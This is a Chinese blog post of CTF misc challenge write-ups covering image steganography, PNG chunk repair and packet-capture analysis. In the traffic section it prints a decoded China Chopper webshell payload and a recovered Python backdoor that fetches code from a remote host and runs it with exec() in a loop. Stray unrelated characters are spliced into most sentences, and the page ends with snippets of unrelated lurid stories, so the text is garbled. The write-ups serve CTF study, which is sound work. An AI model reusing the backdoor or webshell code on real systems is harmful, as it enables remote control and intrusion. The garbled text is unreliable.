【BUUCTF】MISC WP Ⅱ

[MRCTF 2020] Hello_ misc

文件名提示修復圖片蚯妇,用 stegsolve 修復紅色色道,保存為 png 得到密碼

binwalk 發(fā)現(xiàn)藏著一個壓縮包忿晕,提出來解壓得到 out.txt
① 分析
反復出現(xiàn) 127凡恍、255靠娱、63、191 這幾個數(shù)字
二進制分別對應:01111111嚼酝、11111111毙驯、00111111柱锹、10111111
最高兩位分別為:01、11丰包、00禁熏、10
② 腳本
每四個為一組,二進制 ? 十進制 ? 字符(ASCII碼)進行輸出
輸出結(jié)果:rar-passwd: 0ac1fe6b77be5dbe邑彪,解壓得到 fffflag.zip

from binascii import *

# 讀取數(shù)字
fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
# 最高兩位
s = ""
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
print (s)
out = ""
# 每八個字符為一組
for i in range(0,len(s),8):
    # 二進制轉(zhuǎn)十進制
    x = int(s[i:i+8],2) 
    # 十進制轉(zhuǎn)十六進制
    out += chr(x) 
    print ('標志位 '+ str(i) + ': ' + str(s[i:i+8]) +' -> ' + str(x) + ' -> ' + str(chr(x)))
print (out)

這一看就是 docx 文件瞧毙,全選文字改色,將每一行 base64 解碼寄症,得到一堆 1 和 0

觀察良久宙彪,發(fā)現(xiàn)把 1 去掉,0 圍成了有意義的字母有巧,猜測:flag{He1Lo_mi5c~}

[BSidesSF 2019] zippy

① binwalk 發(fā)現(xiàn)藏著一個壓縮包
流量包拖入 wireshark释漆,追蹤 TCP 流
發(fā)現(xiàn)一條 Shell 命令:unzip -P supercomplexpassword flag.zip
② 我們知道命令格式:unzip -P { 密碼 } { 壓縮包 }
所以密碼為 supercomplexpassword,解壓得到:flag{this_flag_is_your_flag}

[UTCTF 2020] docx

binwalk 一下發(fā)現(xiàn) docx 里藏了很多圖片

直接改后綴名篮迎,解壓灵汪,在 \word \media 目錄下找到 flag

[湖南省賽 2019] Findme

① 先 strings 了一下隱藏信息
4.png 信息:another part: cExlX1BsY
5.png 信息:I give U a gift: Yzcllfc0lN
猜測 flag 就是五張圖片加起來的 base64 解碼
② 1.png 這種圖,要么是虛幻要么是寬高被改
這里用腳本跑一下原來的寬高
輸出寬字節(jié)為:00 00 00 e3柑潦,高字節(jié)為:00 00 01 c5

import zlib
import struct

filename = '111.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("寬為:",end="")
                print(width)
                print("高為:",end="")
                print(height)

在 winhex 中修改寬高后享言,發(fā)現(xiàn)圖片壞的,這種情況只可能是 IDAT 有問題

打開 010editor渗鬼,修復 chunk[2]览露、chunk[3] 的 IDAT 標識,得到了正常圖片
用 Stegsolve 打開譬胎,在 blue 2 色道發(fā)現(xiàn)二維碼差牛,掃描:ZmxhZ3s0X3
③ 不難發(fā)現(xiàn) 3.png 文件尾的 37 7A 03 04 和 ZIP 的 50 4B 03 04 的格式很像

全部修改,保存解壓堰乔,得到一堆 txt偏化,在 618.txt 里找到:You find it: 1RVcmVfc
④ 3.png 的 chunk[0] - chunk[6] 的每一個數(shù)據(jù)塊的 crc 值都是可打印的 ascii 字符
所以 0x33,0x52,0x6C,0x5A,0x33,0x30,0x3D => 3RlZ30=
⑤ 總結(jié)一下:
1.png:ZmxhZ3s0X3,base64 解碼:flag{4_
2.png:1RVcmVfc
3.png:3RlZ30=

4.png:cExlX1BsY
5.png:Yzcllfc0lN
1 解碼得到:flag{4_ 镐侯,放最前侦讨,3 放最后,然后 2苟翻、4韵卤、5 多試幾次
按照 15423 的順序拼接,解碼得到:flag{4_v3rY_sIMpLe_PlcTUre_steg}

[GWCTF 2019] huyao

考點:盲水映缑ā(BlindWaterMark)
python2 bwm.py decode huyao.png stillhuyao.png flag.png
python3 bwmforpy3.py decode huyao.png stillhuyao.png flag.png

[UTCTF 2020] Zero

考點:零寬度字符隱寫

將 txt 文件用 vim 查看沈条,其中隱藏了 U+200B、U+200C诅炉、U+200D蜡歹、U+FEFF屋厘、U+202C
找個網(wǎng)址去掉就行了:utflag{whyNOT@sc11_4927aajbqk14}

[GUET-CTF 2019] soul sipse

hint:flag{a+b}
起初以為是電碼題,后來發(fā)現(xiàn)是隱寫月而,音頻一般 binwalk 分不開
用 steghide 分出 download.txt

得到網(wǎng)址:https://share.weiyun.com/5wVTIN3
下載得到 GUET.png 汗洒,修復文件頭后打開,得到 unicode 碼
解碼景鼠,flag{5304}

  • 圖片分析之隱寫術(shù)

隱寫術(shù):一門關(guān)于信息隱藏的技巧與科學
信息隱藏:指不讓預期的接收者外的任何人知曉信息的傳遞事件或信息的內(nèi)容
隱寫與編碼加密概念并不相同仲翎,但經(jīng)常會將兩者結(jié)合起來進行出題

  • 附加式圖片隱寫

就是在載體文件上附加隱寫內(nèi)容,而我們要提取出載體文件中被隱藏的內(nèi)容
在 CTF 賽事中铛漓,有兩種常見方式:直接附加字符串 溯香,圖片作為其他文件的載體

① 直接附加字符串,一般用 strings 命令查看浓恶,也可以用 010 Editor 查看
② 圖片作為其他文件的載體
最常見的是圖種玫坛。圖種就是將圖片與壓縮包結(jié)合起來的文件,文件保存為圖片格式包晰,可以正常顯示圖片湿镀。由于操作系統(tǒng)識別的過程是,從文件頭標志到文件的結(jié)束標志位伐憾,當識別到圖片的結(jié)束標志位后勉痴,默認不再繼續(xù)識別,所以我們只能看到它是一張圖片树肃。

對于這類的隱寫蒸矛,我們可以通過 winhex、010 Editor 胸嘴、binwalk 分離文件
  • 基于文件結(jié)構(gòu)的圖片隱寫

A)文件頭數(shù)據(jù)塊(IHDR)
PNG 文件的第一個數(shù)據(jù)塊雏掠,而且一個 PNG 只能有一個文件頭數(shù)據(jù)塊
它包含 PNG 圖像的基本信息,圖片的寬高劣像,圖像深度乡话,圖像類型,壓縮方法等
如圖所示耳奕,標藍部分為 IHDR 數(shù)據(jù)塊
00 00 00 0D 代表頭塊長绑青,49 48 44 52 代表 IHDR 標識
00 00 02 D3 代表圖片的寬,00 00 02 46 代表圖片的高
在 CTF 中吮铭,經(jīng)常通過改變寬高使得圖片顯示不完整时迫,或無法顯示從而隱寫
我們不能輕易修改圖片寬高的值,以防圖片報錯打不開谓晌,可以:
① 通過 CRC 值推算寬高的值 ② 修改寬高的值后計算出新的 CRC 值進行替換

import zlib
import struct

filename = 'test.png'
with open(filename, 'rb') as f:
    all_b = f.read()
    crc32key = int(all_b[29:33].hex(),16)
    data = bytearray(all_b[12:29])
    n = 4095           
    for w in range(n):          
        width = bytearray(struct.pack('>i', w))    
        for h in range(n):
            height = bytearray(struct.pack('>i', h))
            for x in range(4):
                data[x+4] = width[x]
                data[x+8] = height[x]
            crc32result = zlib.crc32(data)
            if crc32result == crc32key:
                print("寬為:",end="")
                print(width)
                print("高為:",end="")
                print(height)

B)調(diào)色板數(shù)據(jù)塊(PLTE)
它僅與索引彩色圖像有關(guān),包含了與索引彩色圖像相關(guān)的變換數(shù)據(jù)癞揉,必須放在圖像數(shù)據(jù)塊之前纸肉。真彩色的 PNG 數(shù)據(jù)流也可以有 PLTE溺欧,便于非真彩色顯示程序用它來量化圖像數(shù)據(jù),進而顯示圖像柏肪。
數(shù)據(jù)流:一組有序的字節(jié)數(shù)據(jù)序列姐刁,代表傳輸中所使用信息的數(shù)字編碼信號序列
C)圖像數(shù)據(jù)塊(IDAT)
IDAT 存儲圖像真正的數(shù)據(jù),在數(shù)據(jù)流中可以有多個連續(xù)的 IDAT
IDAT 塊只有當上一個塊充滿時烦味,才會繼續(xù)一個新的塊
IDAT 采用 LZ77 算法的派生算法進行壓縮聂使,可以用 zlib 解壓縮

D)IEND
圖像結(jié)束數(shù)據(jù)(IEND):用來標記文件或數(shù)據(jù)流已經(jīng)結(jié)束,必須放在文件尾
IEND 的長度是 00 00 00 00谬俄,數(shù)據(jù)標識是 49 45 4E 44柏靶,CRC 值是 AE 42 60 82

2020 年 10 月 17 日

  • 流量分析 —— CTF題目實戰(zhàn)

  • 題目 1

解碼得到:User: test@51elab.com ,Pass: FLAG:ISCCTESTpas

  • 題目 2

隨便跟蹤一個 TCP 流
  • 題目 3

① 切換至 http 進行查看溃论,發(fā)現(xiàn)大量數(shù)據(jù)爆破屎蜓,猜想是黑客進行掃描

② 瀏覽之后發(fā)現(xiàn)黑客執(zhí)行 phpinfo 成功,執(zhí)行命令:
print_r(gzcompress(file_get_contents(base64_decode(%22aW5kZXgucGhw%22))))
print_r(gzcompress(file_get_contents(base64_decode(%22ZmxhZy50eHQ%22))))

解碼得到操作文件名:index.php 钥勋,flag.txt
③ 我們切換至原始數(shù)據(jù)炬转,提取到 flag.txt 的 gz 壓縮二進制內(nèi)容:
789ccbc82c492e49abb6304d32484c354eb4483437b048b234324f4a334c343648494b334e36333531a8e5020018cb0c6c
保存成文件,然后寫腳本進行解壓縮算灸,得到 flag

php
<?php 
$a = gzuncompress(file_get_contents('./test'));
echo $a;
?>
  • 題目 4

先查看 http 流量扼劈,發(fā)現(xiàn)黑客不斷向 /uploads/dvwa.php 提交 POST 數(shù)據(jù)

根據(jù)目錄,猜想可能存在一句話木馬菲驴,進入 tcp 流跟蹤荐吵,發(fā)現(xiàn)可疑操作:

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCg
wKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiK
SREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWi
IpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0c
Hd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9
KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

URL 解碼,BASE64 解碼谢翎,發(fā)現(xiàn)為中國菜刀的流量:

php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");;
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}\t";
if(substr($D,0,1)!="/")
{
    foreach(range("A","Z") as $L)
        if(is_dir("{$L}:"))
            $R.="{$L}:";
}
$R.="\t";
$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';
$usr=($u)?$u['name']:@get_current_user();
$R.=php_uname();
$R.="({$usr})";
print $R;;
echo("|<-");
die();

為了找 key捍靠,遍歷查看黑客操作

① 在 tcp stream 5 發(fā)現(xiàn)存在 rar 壓縮包
提出來,解壓是一張圖片森逮,得到 key1 = c7265f89

② 在 tcp stream 6 發(fā)現(xiàn)存在 png 圖片
我們將數(shù)據(jù)復制存入 123.txt榨婆,運行解碼的 php 語言寫入至文件 1.png
<?php
function str2bin($hexdata)
    {
        $bindata="";
        for ($i=0;$i < strlen($hexdata);$i+=2) {
            $bindata.=chr(hexdec(substr($hexdata,$i,2)));
        }
        return $bindata;
    }
$a = file_get_contents("./123.txt");
$a = $a;
$b = str2bin($a);
file_put_contents("./1.png",$b);

圖片里得到 key2 = 8a52fcc4,完整 key = c7265f898a52fcc4

  • 題目 5

打開 tcp 跟蹤流褒侧,猜測存在 pyc 文件流內(nèi)容
http 導出對象良风,然后在線 pyc 反編譯,成功得到 client.py
打開有大量 base64 拆分數(shù)組的混淆
最后的 base64 代碼闷供,解碼得到:
python
strr = ""
for i in range(0,1158):
strr=strr+arg[i][::-1]
exec(base64.b64decode(strr))

再結(jié)合 1158 個混淆數(shù)組烟央,運行得到:

import base64
import socket
import sys
import os
import time

decs = ' A/MNCs/sv1ljAAAAAAAAAAAGAAAAQAAMA ……… ' (太長,就省略了)
f2 = open('d'+'e'+'c'+'.'+'p'+'y'+'c','w'); # dec.pyc
f2.write(base64.b64decode(decs));
f2.close();

import dec;
os.system('rm -rf dec.pyc')
remote_ip = '192.168.1.101'
port = 9011

def send_m(remote_ip, port, msg, get=False):
    all_data=[]
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # socket鏈接
        s.connect((remote_ip , port))
        if get:
            message = msg
        else:
            message = enc.fun(msg) # 密文加密
        s.sendall(message)
        while True:
            data = s.recv(20480)
            if data: 
                string = bytes.decode(data, 'utf-8')
                break
        return dec.fun(string) # 密文解密
    except socket.error, msg:
        print 'emmmmmmm_boom'
        sys.exit();
        
encs=send_m(remote_ip,port,'just_a_test',True)
f1 = open('e'+'n'+'c'+'.'+'p'+'y'+'c','w'); # enc.pyc
f1.write(base64.b64decode(encs));
f1.close();

import enc;
os.system('rm -rf enc.pyc')

while True:
    exec(send_m(remote_ip,port,'I lose my way'))
    print('new loop after 5s')
    time.sleep(5)

代碼首先寫入了 dec.pyc歪脏,調(diào)用了 dec.fun 函數(shù)進行密文解密

并且發(fā)現(xiàn)這是一個 socket 鏈接疑俭,我們在流量包中找到密文
調(diào)用 dec.py 解密,即可得到 flag
  • 題目 6

解壓后得到文件:++ __ ++
由于不知道后綴婿失,file 查看一下:++__++: pcap-ng capture file - version 1.0
改后綴钞艇,分析流量啄寡,在追蹤 TCP 流時發(fā)現(xiàn)文件內(nèi)容

# coding:utf-8
from Crypto import Random
from Crypto.Cipher import AES
import sys
import base64

IV = 'QWERTYUIOPASDFGH'
def decrypt(encrypted):
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.decrypt(encrypted)
def encrypt(message):
  length = 16
  count = len(message)
  padding = length - (count % length)
  message = message + '\0' * padding
  aes = AES.new(IV, AES.MODE_CBC, IV)
  return aes.encrypt(message)
str = 'this is a test'
example = encrypt(str)
print(decrypt(example))

發(fā)現(xiàn)函數(shù)調(diào)用了 AES 加密:
aes = AES.new(IV, AES.MODE_CBC, IV)
偏移量為 IV ,加密模式為 CBC 哩照,密鑰為 IV
其中 IV = 'QWERTYUIOPASDFGH'
尋找密文挺物,發(fā)現(xiàn)操作:[root@localhost wireshark]# cat 22
得到密文:19aaFYsQQKr+hVX6hl2smAUQ5a767TsULEUebWSajEo=

解密得到:passwd={No_One_Can_Decrypt_Me}
繼續(xù)分析流量,發(fā)現(xiàn)操作:
[root@localhost wireshark]# cat 11
Rar!....3................TU..<..... .+......flag.txt0.....n.Kr..z....uEo.Bn&=i.S..>....4.B..~...xj.".
...u......3.....jWj..%m..!.+h...+s..q#.]...3Ks.y.....r.2...wVQ....[root@localhost wireshark]#

里面藏了壓縮包 RAR飘弧,提出來解壓得到 flag

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末识藤,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子次伶,更是在濱河造成了極大的恐慌痴昧,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,718評論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件学少,死亡現(xiàn)場離奇詭異剪个,居然都是意外死亡,警方通過查閱死者的電腦和手機版确,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,683評論 3 385
  • 文/潘曉璐 我一進店門扣囊,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人绒疗,你說我怎么就攤上這事侵歇。” “怎么了吓蘑?”我有些...
    開封第一講書人閱讀 158,207評論 0 348
  • 文/不壞的土叔 我叫張陵惕虑,是天一觀的道長。 經(jīng)常有香客問我磨镶,道長溃蔫,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,755評論 1 284
  • 正文 為了忘掉前任琳猫,我火速辦了婚禮伟叛,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘脐嫂。我一直安慰自己统刮,他們只是感情好,可當我...
    茶點故事閱讀 65,862評論 6 386
  • 文/花漫 我一把揭開白布账千。 她就那樣靜靜地躺著侥蒙,像睡著了一般。 火紅的嫁衣襯著肌膚如雪匀奏。 梳的紋絲不亂的頭發(fā)上鞭衩,一...
    開封第一講書人閱讀 50,050評論 1 291
  • 那天,我揣著相機與錄音,去河邊找鬼醋旦。 笑死恒水,一個胖子當著我的面吹牛会放,可吹牛的內(nèi)容都是我干的饲齐。 我是一名探鬼主播,決...
    沈念sama閱讀 39,136評論 3 410
  • 文/蒼蘭香墨 我猛地睜開眼咧最,長吁一口氣:“原來是場噩夢啊……” “哼捂人!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起矢沿,我...
    開封第一講書人閱讀 37,882評論 0 268
  • 序言:老撾萬榮一對情侶失蹤滥搭,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后捣鲸,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體瑟匆,經(jīng)...
    沈念sama閱讀 44,330評論 1 303
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 36,651評論 2 327
  • 正文 我和宋清朗相戀三年栽惶,在試婚紗的時候發(fā)現(xiàn)自己被綠了愁溜。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 38,789評論 1 341
  • 序言:一個原本活蹦亂跳的男人離奇死亡外厂,死狀恐怖冕象,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情汁蝶,我是刑警寧澤渐扮,帶...
    沈念sama閱讀 34,477評論 4 333
  • 正文 年R本政府宣布,位于F島的核電站掖棉,受9級特大地震影響墓律,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜幔亥,卻給世界環(huán)境...
    茶點故事閱讀 40,135評論 3 317
  • 文/蒙蒙 一耻讽、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧紫谷,春花似錦齐饮、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,864評論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至瞒窒,卻和暖如春捺僻,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,099評論 1 267
  • 我被黑心中介騙來泰國打工匕坯, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留束昵,地道東北人。 一個月前我還...
    沈念sama閱讀 46,598評論 2 362
  • 正文 我出身青樓葛峻,卻偏偏與公主長得像锹雏,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子术奖,可洞房花燭夜當晚...
    茶點故事閱讀 43,697評論 2 351